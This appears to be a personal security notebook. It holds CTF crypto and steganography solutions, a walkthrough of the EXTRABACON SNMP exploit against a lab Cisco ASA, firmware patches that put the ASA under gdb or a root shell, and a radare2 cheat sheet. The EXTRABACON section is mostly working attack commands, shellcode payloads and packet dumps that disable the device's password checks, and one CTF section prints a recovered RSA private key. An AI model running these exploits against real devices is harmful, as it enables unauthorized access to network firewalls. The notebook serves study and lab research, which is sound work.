In [1]: challenge = '49657021204E657874212074313C4C4B793144404C4B2E3133353A4B6161614B580A785D61607B535D4C5964626C20535D4B24564E5B7E564E5F7D564E4F7D574D7B7C575E5B77576D7B22577D7B21587D7B21594D7B7C574E4F77575E537C0A78564E537B564E5F77576E4B77574D7B7D564E4F7B575D7B7C576E4F77575E4B7E564E5B23564E4F7B585D7B7E586D7B20584D7B7C575E6B77575E4B200A78564E6F22564E5B23564E4F7B587D7B7E585D7B7C576E4B77575E4F25564E4F7B584D7B20595D7B7C575E6377575E4B22564E5723564E4F7C594D7B7C0A78576E5F77595E6777595E6F77584E4F77575E4B24564E4F7C586D7B7C575E6B77575E4F21564E5F22564E4F7B587D7B20576D7B22576D7B7E595D7B7C0A78576E5F77577E5777586E4F77575E4B7B564E4F7C586D7B22576D7B7C575E6F77575E4F24564E4F7C595D7B7C574E6777585E5377575E5322564E6F240A5E564E4F7C586D7B7C576E6377575E4F7E564E4F7B585D7B25594B4B4B0A4B0A313A300A'

In [2]: hex_challenge = challenge.decode('hex')

In [3]: %paste
def rot(text, n):
        I = 32
        F = 126
        a = []

        for i in xrange(I, F + 1):
                a.append(chr(i))

        result = ''
        for i in text:
                oi = ord(i)
                if I <= oi and oi <= F:
                        r = (oi - I + n) % len(a)
                        result += a[r]
                else:
                        result += i
        return result
## -- End pasted text --


In [4]: for i in xrange(126 - 32)
 print rot(hex_challenge, i)
 print i
 print '-' * 20
 raw_input()

...

50
--------------------

|9DTS"9LHTSHdo ~Mdws ~adfhm~555~,
L154O'1 -86@S'1~W*"/R*"3Q*"#Q+!OP+2/K+AOU+QOT,QOT-!OP+"#K+2'P
L*"'O*"3K+B~K+!OQ*"#O+1OP+B#K+2~R*"/V*"#O,1OR,AOS,!OP+2?K+2~S
L*"CU*"/V*"#O,QOR,1OP+B~K+2#X*"#O,!OS-1OP+27K+2~U*"+V*"#P-!OP
L+B3K-2;K-2CK,"#K+2~W*"#P,AOP+2?K+2#T*"3U*"#O,QOS+AOU+AOR-1OP
L+B3K+R+K,B#K+2~O*"#P,AOU+AOP+2CK+2#W*"#P-1OP+";K,2'K+2'U*"CW
2*"#P,AOP+B7K+2#R*"#O,1OX-~~~
~
dmc

51
--------------------

}:EUT#:MIUTIep! Next! begin 666 -
M265P(2!.97AT(2 X+#0S+#4R+#$R,"PQ,30L,BPV,RPU-RPU."PQ,#$L,3(Q
M+#(P+#4L,C L,"PR+#$P,2PQ,C$L,3 S+#0W+#$P-2PS-BPT-"PQ,3@L,3 T
M+#DV+#0W+#$P-RPS-2PQ,C L,3$Y+#$P-"PT.2PQ,38L,3 V+#,W+#$Q."PQ
M,C4L.3<L.3DL-#$L,3 X+#$Q-BPQ,3@L,3$U+#4V+#$P-RPT,BPV,BPS.2PQ
M,C4L,S,L-C$L,3 P+#$Q-BPV,BPQ,3DL,3$X+#$Q.2PQ,#<L-3(L,3(V+#DX
3+#$Q-BPQ,C8L,3$S+#$P-2PY.   
 
end

52
--------------------


# ipython

In [1]: byte_uud =  "\x08+4xr\x02?9:ey\x14\x05\x14\x00\x02eyg/i$,vh`/k#xwh1tj%v}ac)ltvs8k*>'}!=dt>wvwk4~bt~qib"

In [2]: r = byte_uud

In [3]: %paste
def xor(text, key):
 r = ''
 lk = len(key)
 for i in range(len(text)):
  r += chr(ord(text[i]) ^ ord(key[i % lk]))
 return r
## -- End pasted text --

In [4]: find = 'Iep! Next!'

In [5]: %paste
keys = []

for i in xrange(len(r)):
 key = xor(r[i:i+len(find)], find)
 if len(key) == len(find):
  keys.append(key)

for k in keys:
 for i in xrange(len(find)):
  nk = k[i:]+k[:i]
  result = xor(r, nk)
  if find in result:
   print '-----------------------------', nk
   print result
   raw_input()
## -- End pasted text --
----------------------------- ANDYRLZAND
Iep! Next!8ZAMRN?8)k(jh/:,u*m<6&u-8i,</'h"0/!t1kpc<oy=&r-79/u0&-,=3#
---------------------------------------------------------------------------
KeyboardInterrupt

In [6]: find = 'Iep! Ne'

In [7]: %paste
keys = []

for i in xrange(len(r)):
 key = xor(r[i:i+len(find)], find)
 if len(key) == len(find):
  keys.append(key)

for k in keys:
 for i in xrange(len(find)):
  nk = k[i:]+k[:i]
  result = xor(r, nk)
  if find in result:
   print '-----------------------------', nk
   print result
   raw_input()
## -- End pasted text --
----------------------------- ANDYRLZ
Iep! Next! FINAL! 5c3eb212c1b631c80d8981e6587a9fdf3ed68d6832f2850500

# NN2k16 CTF - chemical x (crypto) (80pts)


# wget 'https://challenges.ka0labs.org/download?file=moji.png

# r2 -w moji.png

[0x00000000]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4954 535f 415f 4b45 593f 000d 4948 4452  ITS_A_KEY?..IHDR

[0x00000000]> wx 8950 4e47 0d0a 1a0a 0000

# git clone https://github.com/cyberinc/cloacked-pixel.git

# python cloacked-pixel/lsb.py extract moji.png hide_info ITS_A_KEY?
[+] Image size: 589x385 pixels.
[+] Written extracted data to hide_info.

# cat hide_info
Well done! Next step:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7oOSozg4kTdyQ8KS8cSsSwLFB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrKUHdGc4Ww2VMMsu1Z7J/CdoCaVOtvzorrRn84D1Yup/O4mElJtFKPqVRexPH4nQ==nope@challenges.ka0labs.org

# mv hide_info rsa.pub

# git clone https://github.com/nccgroup/featherduster.git
# apt-get install libncurses-dev
# apt-get install libgmp3-dev
# apt-get install python-gmpy

# ssh-keygen -f rsa.pub -e -m pem | tee rsa.pem
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBALHlAHFrqkcITyT3K15AfURhj4nkcpOyYlciSVZbug5KjODiRN3JDwpL
xxKxLAsUHtFZL1HT2wELdK6yUWqhQ2D1YXod+CCrAVxCtiv9jbX1CspQd0ZzhbDZ
Uwyy7Vnsn8J2gJpU62/OiutGfzgPVi6n87iYSUm0Uo+pVF7E8fidAgMBAAE=
-----END RSA PUBLIC KEY-----

# python featherduster/featherduster.py rsa.pem
FeatherDuster> autopwn
[+] Analyzing samples...
[+] At least one RSA key was discovered among the samples.
Running module: rsa_fermat
Starting factorization...

Modulus factored!
Found private key:
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7oOSozg4kTd
yQ8KS8cSsSwLFB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrKUHdG
c4Ww2VMMsu1Z7J/CdoCaVOtvzorrRn84D1Yup/O4mElJtFKPqVRexPH4nQIDAQAB
AoGADoDMA3Myo63ivfHEwF9jlxKZIDXWvYHakJ4D+p1p0sZzK9ZmpOpCZqV86mI1
ZAXU6V5rBDHQdgpYDfINvzK8imVLC6lujEY16RIxDMb8PWVP+TBvvGPZU4tfMJEe
FqjJpqsaWtH70dCMbhrA02/KDT6zV1hwcEdKIrUCI6u+T8ECQQDVZ0PHZbgn1kUy
so1Ylu7fj6L0j3dAVP68/rdC7b7EJDfdGJOPdQ5ev4ZiW5IcCJSVivw0ReTLawR8
PqbVwIgxAkEA1WdDx2W4J9ZFMrKNWJbu34+i9I93QFT+vP63Qu2+w3d+rj9aE3t4
FPzC41P7yAOfTmqN7OlXy2sEfD6m1cCILQJBAMasFaDMJS8JP3DcY9Tm50pAee/+
pIHC30lqRYjMt335TfzLRY0X6CHzYpOtNpBcuJ+kPfoYW9G5NvrIhR+Y1/ECQAzh
suGybi9Za8vno0iZs8mi7f89OcGUX9wgtAdCOqWp7Oevw0wxw8ngiBMY2rX0IgWl
wPNwEnChASBO19tHR/ECQQDStJZH+WDMfOGKwgdIlKXA6KCZSj7e0UkFhpC+B7ml
7N8tPh8OXEKApLBECKZfXI2h/t8mNRubT7oqAtNekotX
-----END RSA PRIVATE KEY-----

# chmod 400 rsa.priv
# ssh -i rsa.priv nope@challenges.ka0labs.org
=== Welcome to Barad-dur ===
The trees are strong, my lord. Their roots go deep...

nope:~$ more ../noruas/flag.txt
nn6ed{RSA_w0rks_Gr34t_1f_You_Us3_It_Pr0perly}

# Extrabacon (EXBA) exploit


Normal ssh connection

# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
admin@asa's password: cisco
asa> enable
Password: cisco
asa# exit

Checking exploit support

# python extrabacon_1.1.0.1.py info -t asa:161 -c cisco
[+] Executing:  extrabacon_1.1.0.1.py info -t asa:161 -c cisco
[+] probing target via snmp
[+] Connecting to asa:161
****************************************
[+] response:
###[ SNMP ]###
  version   = <ASN1_INTEGER[1L]>
  community = <ASN1_STRING['cisco']>
  \PDU       \
   |###[ SNMPresponse ]###
   |  id        = <ASN1_INTEGER[0L]>
   |  error     = <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
   |   |  value     = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.3.0']>
   |   |  value     = <ASN1_TIME_TICKS[363400L]>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.5.0']>
   |   |  value     = <ASN1_STRING['asa.lab.net']>

[+] firewall uptime is 363400 time ticks, or 1:00:34

[+] firewall name is asa.lab.net

[+] target is running asa842, which is supported
Data stored in key file  : asa842
Data stored in self.vinfo: ASA842

Launching the exploit (disabling passwords)

# python extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-disable
[+] Executing:  extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-disable
Data stored in self.vinfo: ASA842
[+] generating exploit for exec mode pass-disable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa842
[+] building payload for mode pass-disable
appended PMCHECK_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3
appended AAAADMINAUTH_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3
[+] random SNMP request-id 80055950
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.49.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144
payload (133): bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c3
EXBA msg (369): 3082016d0201010405636973636fa582015f020404c58e8e0201000201013082014f30819106072b060102010101048185bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000431817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500
[+] Connecting to asa:161
[+] packet 1 of 1
[+] 0000   30 82 01 6D 02 01 01 04  05 63 69 73 63 6F A5 82   0..m.....cisco..
[+] 0010   01 5F 02 04 04 C5 8E 8E  02 01 00 02 01 01 30 82   ._............0.
[+] 0020   01 4F 30 81 91 06 07 2B  06 01 02 01 01 01 04 81   .O0....+........
[+] 0030   85 BF A5 A5 A5 A5 B8 D8  A5 A5 A5 31 F8 BB A5 25   ...........1...%
[+] 0040   F6 AC 31 FB B9 A5 B5 A5  A5 31 F9 BA A2 A5 A5 A5   ..1......1......
[+] 0050   31 FA CD 80 EB 14 BF F0  8F 53 09 31 C9 B1 04 FC   1........S.1....
[+] 0060   F3 A4 E9 0C 00 00 00 5E  EB EC E8 F8 FF FF FF 31   .......^.......1
[+] 0070   C0 40 C3 BF A5 A5 A5 A5  B8 D8 A5 A5 A5 31 F8 BB   .@...........1..
[+] 0080   A5 B5 AD AD 31 FB B9 A5  B5 A5 A5 31 F9 BA A2 A5   ....1......1....
[+] 0090   A5 A5 31 FA CD 80 EB 14  BF E0 13 08 08 31 C9 B1   ..1..........1..
[+] 00a0   04 FC F3 A4 E9 0C 00 00  00 5E EB EC E8 F8 FF FF   .........^......
[+] 00b0   FF 31 C0 40 C3 C3 30 81  B8 06 81 B3 2B 06 01 04   .1.@..0.....+...
[+] 00c0   01 09 09 83 6B 01 03 03  01 01 05 09 5F 81 38 43   ....k......._.8C
[+] 00d0   7B 7A 81 2D 35 81 25 81  25 81 25 81 25 81 03 81   {z.-5.%.%.%.%...
[+] 00e0   6C 04 81 09 04 24 81 09  81 65 81 03 81 45 48 31   l....$...e...EH1
[+] 00f0   81 40 31 81 5B 81 33 10  31 81 76 81 3F 81 2E 81   .@1.[.3.1.v.?...
[+] 0100   2A 81 2A 81 2A 81 01 81  77 81 25 81 25 81 25 81   *.*.*...w.%.%.%.
[+] 0110   25 60 81 0B 81 04 24 81  60 01 00 00 04 31 81 7F   %`....$.`....1..
[+] 0120   81 50 61 81 43 81 10 81  10 81 10 81 10 81 10 81   .Pa.C...........
[+] 0130   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0140   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0150   10 81 10 81 10 81 10 81  10 81 10 81 10 19 47 14   ..............G.
[+] 0160   09 81 0B 7C 24 14 81 0B  07 81 7F 81 60 81 10 05   ...|$.......`...
[+] 0170   00                                                 .
****************************************
[+] response:
###[ SNMP ]###
  version   = <ASN1_INTEGER[1L]>
  community = <ASN1_STRING['cisco']>
  \PDU       \
   |###[ SNMPresponse ]###
   |  id        = <ASN1_INTEGER[80055950L]>
   |  error     = <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
   |   |  value     = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.99.105.115.99.111.46.49.57.50.46.49.54.56.46.49.46.51.51.46.50']>
   |   |  value     = <ASN1_STRING['']>
[+] received SNMP id 80055950, matches random id sent, likely success
[+] clean return detected

Ssh connection with password disabled

# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
admin@asa's password: <enter>
asa> enable
Password: <enter>
asa# exit

Launching the exploit (re-enabling passwords)

# python extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-enable
[+] Executing:  extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-enable
Data stored in self.vinfo: ASA842
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa842
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425184577
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.49.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (369): 3082016d0201010405636973636fa582015f02041957cd410201000201013082014f30819106072b060102010101048185eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000431817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500
[+] Connecting to asa:161
[+] packet 1 of 1
[+] 0000   30 82 01 6D 02 01 01 04  05 63 69 73 63 6F A5 82   0..m.....cisco..
[+] 0010   01 5F 02 04 19 57 CD 41  02 01 00 02 01 01 30 82   ._...W.A......0.
[+] 0020   01 4F 30 81 91 06 07 2B  06 01 02 01 01 01 04 81   .O0....+........
[+] 0030   85 EB 14 BF F0 8F 53 09  31 C9 B1 04 FC F3 A4 E9   ......S.1.......
[+] 0040   2F 00 00 00 5E EB EC E8  F8 FF FF FF 55 31 C0 89   /...^.......U1..
[+] 0050   BF A5 A5 A5 A5 B8 D8 A5  A5 A5 31 F8 BB A5 25 F6   ..........1...%.
[+] 0060   AC 31 FB B9 A5 B5 A5 A5  31 F9 BA A0 A5 A5 A5 31   .1......1......1
[+] 0070   FA CD 80 EB 14 BF E0 13  08 08 31 C9 B1 04 FC F3   ..........1.....
[+] 0080   A4 E9 2F 00 00 00 5E EB  EC E8 F8 FF FF FF 55 89   ../...^.......U.
[+] 0090   E5 57 BF A5 A5 A5 A5 B8  D8 A5 A5 A5 31 F8 BB A5   .W..........1...
[+] 00a0   B5 AD AD 31 FB B9 A5 B5  A5 A5 31 F9 BA A0 A5 A5   ...1......1.....
[+] 00b0   A5 31 FA CD 80 C3 30 81  B8 06 81 B3 2B 06 01 04   .1....0.....+...
[+] 00c0   01 09 09 83 6B 01 03 03  01 01 05 09 5F 81 38 43   ....k......._.8C
[+] 00d0   7B 7A 81 2D 35 81 25 81  25 81 25 81 25 81 03 81   {z.-5.%.%.%.%...
[+] 00e0   6C 04 81 09 04 24 81 09  81 65 81 03 81 45 48 31   l....$...e...EH1
[+] 00f0   81 40 31 81 5B 81 33 10  31 81 76 81 3F 81 2E 81   .@1.[.3.1.v.?...
[+] 0100   2A 81 2A 81 2A 81 01 81  77 81 25 81 25 81 25 81   *.*.*...w.%.%.%.
[+] 0110   25 60 81 0B 81 04 24 81  60 01 00 00 04 31 81 7F   %`....$.`....1..
[+] 0120   81 50 61 81 43 81 10 81  10 81 10 81 10 81 10 81   .Pa.C...........
[+] 0130   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0140   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0150   10 81 10 81 10 81 10 81  10 81 10 81 10 19 47 14   ..............G.
[+] 0160   09 81 0B 7C 24 14 81 0B  07 81 7F 81 60 81 10 05   ...|$.......`...
[+] 0170   00                                                 .
****************************************
[+] response:
###[ SNMP ]###
  version   = <ASN1_INTEGER[1L]>
  community = <ASN1_STRING['cisco']>
  \PDU       \
   |###[ SNMPresponse ]###
   |  id        = <ASN1_INTEGER[425184577L]>
   |  error     = <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
   |   |  value     = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.99.105.115.99.111.46.49.57.50.46.49.54.56.46.49.46.51.51.46.50']>
   |   |  value     = <ASN1_STRING['']>
[+] received SNMP id 425184577, matches random id sent, likely success
[+] clean return detected

Normal ssh connection

# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
admin@asa's password: <enter>
Permission denied, please try again.
admin@asa's password:

References

https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

# Enabling lina debug mode


Preparing .gdbinit

# r2 lina
[0x0804d520]> aar
[0x0804d520]> s sym.imp.setitimer
[0x0804cf94]> vp
  |||||||   ;-- imp.setitimer:
  |||||||   ; CALL XREF from 0x08c8ff2b (unk)
  |||||||   ; CALL XREF from 0x08c8ffc8 (unk)
  |||||||   ; CALL XREF from 0x08c900d8 (unk)
  |||||||   ; CALL XREF from 0x08c9011e (unk)
  |||||||   0x0804cf94      ff253c93bc09   jmp dword [reloc.setitimer_60] ; reloc.setitimer
  |||||||   0x0804cf9a      6878060000     push 0x678
  ========< 0x0804cf9f      e9f0f2ffff     jmp 0x804c294               ;[1]
:> s 0x08c900d8
            0x08c900d8      e8b7ce3bff     call sym.imp.setitimer      ;[1]
            0x08c900dd      c9             leave
            0x08c900de      c3             ret
            0x08c900df      90             nop
            ; CALL XREF from 0x0805e9ba (unk)
            ; CALL XREF from 0x08c91ed9 (unk)
            0x08c900e0      55             push ebp
            0x08c900e1      89e5           mov ebp, esp
            0x08c900e3      83ec28         sub esp, 0x28               ; '('
            0x08c900e6      8b0da46ad109   mov ecx, dword [0x9d16aa4]  ; [0x9d16aa4:4]=0x4c
            0x08c900ec      81f93f420f00   cmp ecx, 0xf423f
        ,=< 0x08c900f2      7f34           jg 0x8c90128


# cat .gdbinit
set debug remote 1
set disassembly-flavor intel
target remote /dev/ttyUSB0
# Patch the watchdog
set *0x9d16aa4=0
file ~/lina

Option 1: Modifying the rootfs

# cat enable_gdb.sh
#!/bin/bash

binary="$1"
rfs='rootfs.img'
rfsgz="$rfs.gz"
d='extracted'
rcs='asa/scripts/rcS'

cp $binary $binary.orig

echo "[+] cp $binary $binary.orig"

offset=`binwalk -y='gzip' $binary | grep rootfs | awk '{print $1}'`
end=`binwalk --raw='\x0b\x01\x64\x00\x00' $binary | grep 00 | tail -n 1 | awk '{print $1}'`

size=`expr $end - $offset`

echo "[+] $binary"
echo "[+] \__ $rfsgz - $size bytes"

dd if=$binary of=$rfsgz skip=$offset count=$size bs=1

echo "[+] $binary >> $rfsgz"

mkdir $d
cd $d
gunzip -c ../$rfsgz | cpio -i --no-absolute-filenames --make-directories
gzip -f -d ../$rfsgz
mv ../$rfs .
echo "[+] $rfsgz ~ $rfs"

sed -i 's/#\(.*ttyUSB0.*\)/\1/' $rcs
sed -i 's/ttyUSB0/ttyS0/' $rcs

echo "[+] gdb enabled in $rcs"

echo "$rcs" | cpio --format='newc' -o --append -F $rfs

echo "[+] $rfs updated"

gzip -f -9 $rfs
mv $rfsgz ../.

echo "[+] $rfs ~ $rfsgz"

cd ..
rm -rf $d

nsize=`stat -c%s $rfsgz`
sizediff=`expr $size - $nsize`

dd if=/dev/zero count=$sizediff bs=1 conv=notrunc,noerror status=noxfer >> $rfsgz
nsize=`stat -c%s $rfsgz`
dd if=$rfsgz of=$binary seek=$offset count=$nsize bs=1 conv=notrunc,noerror

echo "[+] $rfsgz >> $binary"

rm $rfsgz

echo "[+] Done!"

# ./enable_gdb.sh asa842-k8.bin
[+] cp asa842-k8.bin asa842-k8.bin.orig
[+] asa842-k8.bin
[+] \__ rootfs.img.gz = 23628432 bytes
[+] asa842-k8.bin >> rootfs.img.gz
[+] rootfs.img.gz ~ rootfs.img
[+] gdb enabled in asa/scripts/rcS
[+] rootfs.img updated
[+] rootfs.img ~ rootfs.img.gz
[+] rootfs.img.gz >> asa842-k8.bin
[+] Done!# Checksum bypass
# scp -oKexAlgorithms=+diffie-hellman-group1-sha1 asa842-k8.bin admin@asa:asa842-k8-gdb.bin
# gdb
asa(config)# boot system disk0:/asa842-k8-gdb.bin
asa(config)# wr
asa(config)# reload

...
SMFW PID: 479, SMFW started in mode 0
SMFW PID: 481, Starting /asa/bin/lina under gdbserver /dev/ttyS0
SMFW PID: 479, started gdbserver on member: 481//asa/bin/lina
SMFW PID: 479, created member ASA BLOB, PID=481
Process /asa/bin/lina created; pid = 484
Remote debugging using /dev/ttyS0

Option 2: Modifying kernel boot parameters

# r2 -w asa842-k8.bin
[0x00000000]> / quiet
[0x00000000]> s hit0_1
[0x017ed8dc]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x017ed8dc  7175 6965 7420 6c6f 676c 6576 656c 3d30  quiet loglevel=0
0x017ed8ec  2061 7574 6f20 6b73 7461 636b 3d31 3238   auto kstack=128
[0x017ed8dc]> w rdinit=/bin/sh        k
[0x017ed8dc]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x017ed8dc  7264 696e 6974 3d2f 6269 6e2f 7368 2020  rdinit=/bin/sh
0x017ed8ec  2020 2020 2020 6b73 7461 636b 3d31 3238        kstack=128# Checksum bypass
# scp -oKexAlgorithms=+diffie-hellman-group1-sha1 asa842-k8.bin admin@asa:asa842-k8-binsh.bin
# gdb
asa(config)# boot system disk0:/asa842-k8-binsh.bin
asa(config)# wr
asa(config)# reload

...
Freeing unused kernel memory: 156k freed
Write protecting the kernel text: 1716k
Write protecting the kernel read-only data: 504k
/bin/sh: can't access tty; job control turned off
# sed -i 's/#\(.*\)ttyUSB0\(.*\)/\1ttyS0\2/' /asa/scripts/rcS
# exec /sbin/init

...
SMFW PID: 479, SMFW started in mode 0
SMFW PID: 481, Starting /asa/bin/lina under gdbserver /dev/ttyS0
SMFW PID: 479, started gdbserver on member: 481//asa/bin/lina
SMFW PID: 479, created member ASA BLOB, PID=481
Process /asa/bin/lina created; pid = 484
Remote debugging using /dev/ttyS0

References

http://www.slideshare.net/CanSecWest/csw2016-wheeler-barksdalegruskovnjakexecutemypacket
http://2014.ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf
https://community.rapid7.com/community/metasploit/blog/2016/06/14/asa-hack
https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

# radare2: hexadecimal editor, disassembler and debugger


Installation

# apt-get install build-essential
# git clone https://github.com/radare/radare2.git
# radare2/sys/user.sh
# radare2/sys/user.sh
# r2pm init
# r2pm -i r2dec
# r2pm -l

Analyzing

# r2 challenge
# r2 -A challenge
# r2 -A -q -c 'iI' challenge # execute iI command and exit

[Command mode]
[addr]> aaa # Analysis = aa + aar + aac + aan
[addr]> aaaa # Experimental analysis = aaa + aae + aat + aav

[addr]> pd 10 # print disassemble 10 instructions at current seek
[addr]> 3 pd 10 # 3 times, print disassemble 10 instructions at current seek
[addr]> pd 10 @ main # print disassemble 10 instructions at main
[addr]> pd @ main ! 10 # print disassemble at current seek and limit to 10 bytes

[addr]> b 64 # set block size to 64

[addr]> i~machine,os # grep machine or os, at info output
[addr]> drr~[0] # awk first column
[addr]> drr~:0 # grep first line
[addr]> drr~:0[0] # grep first line and awk first column

[addr]> / secret ; px @@ hit0_* # find secret string and foreach hit, print hexdump

[addr]> ? 0x7a69 # quick numeric conversion

[addr]> i? # like rabin2

[addr]> f myflag @ main+123 # set a flag at main+123

[addr]> afl # list functions
[addr]> s sym.main # seek to addr/symbol
[addr]> pdf # print disassemble function

[Visual mode]
[addr]> vV # view graph
p/P # rotate graph modes
< # global callgraph
> # function callgraph

Decompiling

# r2 -A challenge
[addr]> pdd
[addr]> pdda

Debugging

# r2 -Ad `pgrep challenge` # attach and debug pid
# r2 -Ad challenge # run and debug program
# r2 -Ad rarun2 script.rr2 # debug in a custom environment

[Command mode]
[addr]> db # list breakpoints

[addr]> ds 10 # step into 10 instructions
[addr]> dso 10 # step over 10 instructions

[addr]> dcu main # continue until main

[addr]> drr # show registers references (telescoping)

[addr]> db 0x0040081d # add breakpoint
[addr]> dbc 0x0040081d drr # run command when breakpoint is hit

[addr]> dm # list memory maps
[addr]> dm= # list memory maps (ascii art)

[Visual mode]
[addr]> vpp # debug view

:<cmd> # run radare command

; # comment

b # breakpoint

o # seek to offset

p/P # rotate print modes

